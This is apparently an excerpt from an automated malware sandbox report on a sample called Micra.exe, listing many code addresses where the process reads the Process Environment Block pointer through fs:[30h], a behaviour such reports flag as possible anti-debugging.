Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358074B0 mov eax, dword ptr fs:[00000030h]	5_2_358074B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576B440 mov eax, dword ptr fs:[00000030h]	5_2_3576B440
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576B440 mov eax, dword ptr fs:[00000030h]	5_2_3576B440
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576B440 mov eax, dword ptr fs:[00000030h]	5_2_3576B440
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576B440 mov eax, dword ptr fs:[00000030h]	5_2_3576B440
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576B440 mov eax, dword ptr fs:[00000030h]	5_2_3576B440
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576B440 mov eax, dword ptr fs:[00000030h]	5_2_3576B440
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358354DB mov eax, dword ptr fs:[00000030h]	5_2_358354DB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E7410 mov eax, dword ptr fs:[00000030h]	5_2_357E7410
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578340D mov eax, dword ptr fs:[00000030h]	5_2_3578340D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357574B0 mov eax, dword ptr fs:[00000030h]	5_2_357574B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357574B0 mov eax, dword ptr fs:[00000030h]	5_2_357574B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357934B0 mov eax, dword ptr fs:[00000030h]	5_2_357934B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580B450 mov eax, dword ptr fs:[00000030h]	5_2_3580B450
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580B450 mov eax, dword ptr fs:[00000030h]	5_2_3580B450
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580B450 mov eax, dword ptr fs:[00000030h]	5_2_3580B450
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580B450 mov eax, dword ptr fs:[00000030h]	5_2_3580B450
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581F453 mov eax, dword ptr fs:[00000030h]	5_2_3581F453
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35769486 mov eax, dword ptr fs:[00000030h]	5_2_35769486
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35769486 mov eax, dword ptr fs:[00000030h]	5_2_35769486
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B480 mov eax, dword ptr fs:[00000030h]	5_2_3575B480
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3583547F mov eax, dword ptr fs:[00000030h]	5_2_3583547F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581F78A mov eax, dword ptr fs:[00000030h]	5_2_3581F78A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B765 mov eax, dword ptr fs:[00000030h]	5_2_3575B765
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B765 mov eax, dword ptr fs:[00000030h]	5_2_3575B765
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B765 mov eax, dword ptr fs:[00000030h]	5_2_3575B765
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B765 mov eax, dword ptr fs:[00000030h]	5_2_3575B765
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581D7B0 mov eax, dword ptr fs:[00000030h]	5_2_3581D7B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581D7B0 mov eax, dword ptr fs:[00000030h]	5_2_3581D7B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358337B6 mov eax, dword ptr fs:[00000030h]	5_2_358337B6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35773740 mov eax, dword ptr fs:[00000030h]	5_2_35773740
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35773740 mov eax, dword ptr fs:[00000030h]	5_2_35773740
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35773740 mov eax, dword ptr fs:[00000030h]	5_2_35773740
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759730 mov eax, dword ptr fs:[00000030h]	5_2_35759730
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759730 mov eax, dword ptr fs:[00000030h]	5_2_35759730
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35795734 mov eax, dword ptr fs:[00000030h]	5_2_35795734
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763720 mov eax, dword ptr fs:[00000030h]	5_2_35763720
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577F720 mov eax, dword ptr fs:[00000030h]	5_2_3577F720
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577F720 mov eax, dword ptr fs:[00000030h]	5_2_3577F720
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577F720 mov eax, dword ptr fs:[00000030h]	5_2_3577F720
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579F71F mov eax, dword ptr fs:[00000030h]	5_2_3579F71F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579F71F mov eax, dword ptr fs:[00000030h]	5_2_3579F71F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35765702 mov eax, dword ptr fs:[00000030h]	5_2_35765702
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35765702 mov eax, dword ptr fs:[00000030h]	5_2_35765702
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35767703 mov eax, dword ptr fs:[00000030h]	5_2_35767703
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576D7E0 mov ecx, dword ptr fs:[00000030h]	5_2_3576D7E0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357617EC mov eax, dword ptr fs:[00000030h]	5_2_357617EC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357617EC mov eax, dword ptr fs:[00000030h]	5_2_357617EC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357617EC mov eax, dword ptr fs:[00000030h]	5_2_357617EC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581F72E mov eax, dword ptr fs:[00000030h]	5_2_3581F72E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357657C0 mov eax, dword ptr fs:[00000030h]	5_2_357657C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357657C0 mov eax, dword ptr fs:[00000030h]	5_2_357657C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357657C0 mov eax, dword ptr fs:[00000030h]	5_2_357657C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3583B73C mov eax, dword ptr fs:[00000030h]	5_2_3583B73C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3583B73C mov eax, dword ptr fs:[00000030h]	5_2_3583B73C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3583B73C mov eax, dword ptr fs:[00000030h]	5_2_3583B73C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3583B73C mov eax, dword ptr fs:[00000030h]	5_2_3583B73C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578D7B0 mov eax, dword ptr fs:[00000030h]	5_2_3578D7B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35833749 mov eax, dword ptr fs:[00000030h]	5_2_35833749
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575F7BA mov eax, dword ptr fs:[00000030h]	5_2_3575F7BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575F7BA mov eax, dword ptr fs:[00000030h]	5_2_3575F7BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575F7BA mov eax, dword ptr fs:[00000030h]	5_2_3575F7BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575F7BA mov eax, dword ptr fs:[00000030h]	5_2_3575F7BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575F7BA mov eax, dword ptr fs:[00000030h]	5_2_3575F7BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575F7BA mov eax, dword ptr fs:[00000030h]	5_2_3575F7BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575F7BA mov eax, dword ptr fs:[00000030h]	5_2_3575F7BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575F7BA mov eax, dword ptr fs:[00000030h]	5_2_3575F7BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575F7BA mov eax, dword ptr fs:[00000030h]	5_2_3575F7BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EF7AF mov eax, dword ptr fs:[00000030h]	5_2_357EF7AF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EF7AF mov eax, dword ptr fs:[00000030h]	5_2_357EF7AF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EF7AF mov eax, dword ptr fs:[00000030h]	5_2_357EF7AF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EF7AF mov eax, dword ptr fs:[00000030h]	5_2_357EF7AF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EF7AF mov eax, dword ptr fs:[00000030h]	5_2_357EF7AF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E97A9 mov eax, dword ptr fs:[00000030h]	5_2_357E97A9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580375F mov eax, dword ptr fs:[00000030h]	5_2_3580375F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580375F mov eax, dword ptr fs:[00000030h]	5_2_3580375F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580375F mov eax, dword ptr fs:[00000030h]	5_2_3580375F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580375F mov eax, dword ptr fs:[00000030h]	5_2_3580375F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580375F mov eax, dword ptr fs:[00000030h]	5_2_3580375F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35799660 mov eax, dword ptr fs:[00000030h]	5_2_35799660
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35799660 mov eax, dword ptr fs:[00000030h]	5_2_35799660
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357FD660 mov eax, dword ptr fs:[00000030h]	5_2_357FD660
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581F6C7 mov eax, dword ptr fs:[00000030h]	5_2_3581F6C7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358216CC mov eax, dword ptr fs:[00000030h]	5_2_358216CC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358216CC mov eax, dword ptr fs:[00000030h]	5_2_358216CC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358216CC mov eax, dword ptr fs:[00000030h]	5_2_358216CC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358216CC mov eax, dword ptr fs:[00000030h]	5_2_358216CC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763616 mov eax, dword ptr fs:[00000030h]	5_2_35763616
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763616 mov eax, dword ptr fs:[00000030h]	5_2_35763616
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581D6F0 mov eax, dword ptr fs:[00000030h]	5_2_3581D6F0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579F603 mov eax, dword ptr fs:[00000030h]	5_2_3579F603
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35791607 mov eax, dword ptr fs:[00000030h]	5_2_35791607
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578D6E0 mov eax, dword ptr fs:[00000030h]	5_2_3578D6E0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578D6E0 mov eax, dword ptr fs:[00000030h]	5_2_3578D6E0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35835636 mov eax, dword ptr fs:[00000030h]	5_2_35835636
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357916CF mov eax, dword ptr fs:[00000030h]	5_2_357916CF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576B6C0 mov eax, dword ptr fs:[00000030h]	5_2_3576B6C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576B6C0 mov eax, dword ptr fs:[00000030h]	5_2_3576B6C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576B6C0 mov eax, dword ptr fs:[00000030h]	5_2_3576B6C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576B6C0 mov eax, dword ptr fs:[00000030h]	5_2_3576B6C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576B6C0 mov eax, dword ptr fs:[00000030h]	5_2_3576B6C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576B6C0 mov eax, dword ptr fs:[00000030h]	5_2_3576B6C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357576B2 mov eax, dword ptr fs:[00000030h]	5_2_357576B2
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357576B2 mov eax, dword ptr fs:[00000030h]	5_2_357576B2
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357576B2 mov eax, dword ptr fs:[00000030h]	5_2_357576B2
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575D6AA mov eax, dword ptr fs:[00000030h]	5_2_3575D6AA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575D6AA mov eax, dword ptr fs:[00000030h]	5_2_3575D6AA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35815180 mov eax, dword ptr fs:[00000030h]	5_2_35815180
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35815180 mov eax, dword ptr fs:[00000030h]	5_2_35815180
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F9179 mov eax, dword ptr fs:[00000030h]	5_2_357F9179
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35767152 mov eax, dword ptr fs:[00000030h]	5_2_35767152
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358111A4 mov eax, dword ptr fs:[00000030h]	5_2_358111A4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358111A4 mov eax, dword ptr fs:[00000030h]	5_2_358111A4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358111A4 mov eax, dword ptr fs:[00000030h]	5_2_358111A4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358111A4 mov eax, dword ptr fs:[00000030h]	5_2_358111A4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759148 mov eax, dword ptr fs:[00000030h]	5_2_35759148
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759148 mov eax, dword ptr fs:[00000030h]	5_2_35759148
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759148 mov eax, dword ptr fs:[00000030h]	5_2_35759148
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759148 mov eax, dword ptr fs:[00000030h]	5_2_35759148
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F3140 mov eax, dword ptr fs:[00000030h]	5_2_357F3140
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F3140 mov eax, dword ptr fs:[00000030h]	5_2_357F3140
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F3140 mov eax, dword ptr fs:[00000030h]	5_2_357F3140
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B136 mov eax, dword ptr fs:[00000030h]	5_2_3575B136
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B136 mov eax, dword ptr fs:[00000030h]	5_2_3575B136
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B136 mov eax, dword ptr fs:[00000030h]	5_2_3575B136
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B136 mov eax, dword ptr fs:[00000030h]	5_2_3575B136
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358351CB mov eax, dword ptr fs:[00000030h]	5_2_358351CB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358331E1 mov eax, dword ptr fs:[00000030h]	5_2_358331E1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358071F9 mov esi, dword ptr fs:[00000030h]	5_2_358071F9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357851EF mov eax, dword ptr fs:[00000030h]	5_2_357851EF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357651ED mov eax, dword ptr fs:[00000030h]	5_2_357651ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35837120 mov eax, dword ptr fs:[00000030h]	5_2_35837120
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579D1D0 mov eax, dword ptr fs:[00000030h]	5_2_3579D1D0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579D1D0 mov ecx, dword ptr fs:[00000030h]	5_2_3579D1D0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577B1B0 mov eax, dword ptr fs:[00000030h]	5_2_3577B1B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35835152 mov eax, dword ptr fs:[00000030h]	5_2_35835152
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357B7190 mov eax, dword ptr fs:[00000030h]	5_2_357B7190
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357DD070 mov ecx, dword ptr fs:[00000030h]	5_2_357DD070
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E106E mov eax, dword ptr fs:[00000030h]	5_2_357E106E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578B052 mov eax, dword ptr fs:[00000030h]	5_2_3578B052
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358350D9 mov eax, dword ptr fs:[00000030h]	5_2_358350D9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357850E4 mov eax, dword ptr fs:[00000030h]	5_2_357850E4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357850E4 mov ecx, dword ptr fs:[00000030h]	5_2_357850E4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357890DB mov eax, dword ptr fs:[00000030h]	5_2_357890DB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582903E mov eax, dword ptr fs:[00000030h]	5_2_3582903E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582903E mov eax, dword ptr fs:[00000030h]	5_2_3582903E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582903E mov eax, dword ptr fs:[00000030h]	5_2_3582903E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582903E mov eax, dword ptr fs:[00000030h]	5_2_3582903E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357DD0C0 mov eax, dword ptr fs:[00000030h]	5_2_357DD0C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357DD0C0 mov eax, dword ptr fs:[00000030h]	5_2_357DD0C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35765096 mov eax, dword ptr fs:[00000030h]	5_2_35765096
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35835060 mov eax, dword ptr fs:[00000030h]	5_2_35835060
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579909C mov eax, dword ptr fs:[00000030h]	5_2_3579909C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578D090 mov eax, dword ptr fs:[00000030h]	5_2_3578D090
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578D090 mov eax, dword ptr fs:[00000030h]	5_2_3578D090
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357ED080 mov eax, dword ptr fs:[00000030h]	5_2_357ED080
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357ED080 mov eax, dword ptr fs:[00000030h]	5_2_357ED080
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35767370 mov eax, dword ptr fs:[00000030h]	5_2_35767370
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35767370 mov eax, dword ptr fs:[00000030h]	5_2_35767370
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35767370 mov eax, dword ptr fs:[00000030h]	5_2_35767370
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3583539D mov eax, dword ptr fs:[00000030h]	5_2_3583539D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759353 mov eax, dword ptr fs:[00000030h]	5_2_35759353
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759353 mov eax, dword ptr fs:[00000030h]	5_2_35759353
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358013B9 mov eax, dword ptr fs:[00000030h]	5_2_358013B9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358013B9 mov eax, dword ptr fs:[00000030h]	5_2_358013B9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358013B9 mov eax, dword ptr fs:[00000030h]	5_2_358013B9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35757330 mov eax, dword ptr fs:[00000030h]	5_2_35757330
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581B3D0 mov ecx, dword ptr fs:[00000030h]	5_2_3581B3D0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578F32A mov eax, dword ptr fs:[00000030h]	5_2_3578F32A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581F3E6 mov eax, dword ptr fs:[00000030h]	5_2_3581F3E6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E930B mov eax, dword ptr fs:[00000030h]	5_2_357E930B
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E930B mov eax, dword ptr fs:[00000030h]	5_2_357E930B
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E930B mov eax, dword ptr fs:[00000030h]	5_2_357E930B
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358353FC mov eax, dword ptr fs:[00000030h]	5_2_358353FC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582132D mov eax, dword ptr fs:[00000030h]	5_2_3582132D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582132D mov eax, dword ptr fs:[00000030h]	5_2_3582132D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35835341 mov eax, dword ptr fs:[00000030h]	5_2_35835341
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357933A0 mov eax, dword ptr fs:[00000030h]	5_2_357933A0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357933A0 mov eax, dword ptr fs:[00000030h]	5_2_357933A0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357833A5 mov eax, dword ptr fs:[00000030h]	5_2_357833A5
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357B739A mov eax, dword ptr fs:[00000030h]	5_2_357B739A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357B739A mov eax, dword ptr fs:[00000030h]	5_2_357B739A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581F367 mov eax, dword ptr fs:[00000030h]	5_2_3581F367
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35803370 mov eax, dword ptr fs:[00000030h]	5_2_35803370
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35835283 mov eax, dword ptr fs:[00000030h]	5_2_35835283
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A1270 mov eax, dword ptr fs:[00000030h]	5_2_357A1270
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A1270 mov eax, dword ptr fs:[00000030h]	5_2_357A1270
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35789274 mov eax, dword ptr fs:[00000030h]	5_2_35789274
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579724D mov eax, dword ptr fs:[00000030h]	5_2_3579724D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759240 mov eax, dword ptr fs:[00000030h]	5_2_35759240
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759240 mov eax, dword ptr fs:[00000030h]	5_2_35759240
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358352E2 mov eax, dword ptr fs:[00000030h]	5_2_358352E2
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED mov eax, dword ptr fs:[00000030h]	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580B2F0 mov eax, dword ptr fs:[00000030h]	5_2_3580B2F0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580B2F0 mov eax, dword ptr fs:[00000030h]	5_2_3580B2F0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35797208 mov eax, dword ptr fs:[00000030h]	5_2_35797208
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35797208 mov eax, dword ptr fs:[00000030h]	5_2_35797208
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581F2F8 mov eax, dword ptr fs:[00000030h]	5_2_3581F2F8
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357592FF mov eax, dword ptr fs:[00000030h]	5_2_357592FF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35835227 mov eax, dword ptr fs:[00000030h]	5_2_35835227
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B2D3 mov eax, dword ptr fs:[00000030h]	5_2_3575B2D3
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B2D3 mov eax, dword ptr fs:[00000030h]	5_2_3575B2D3
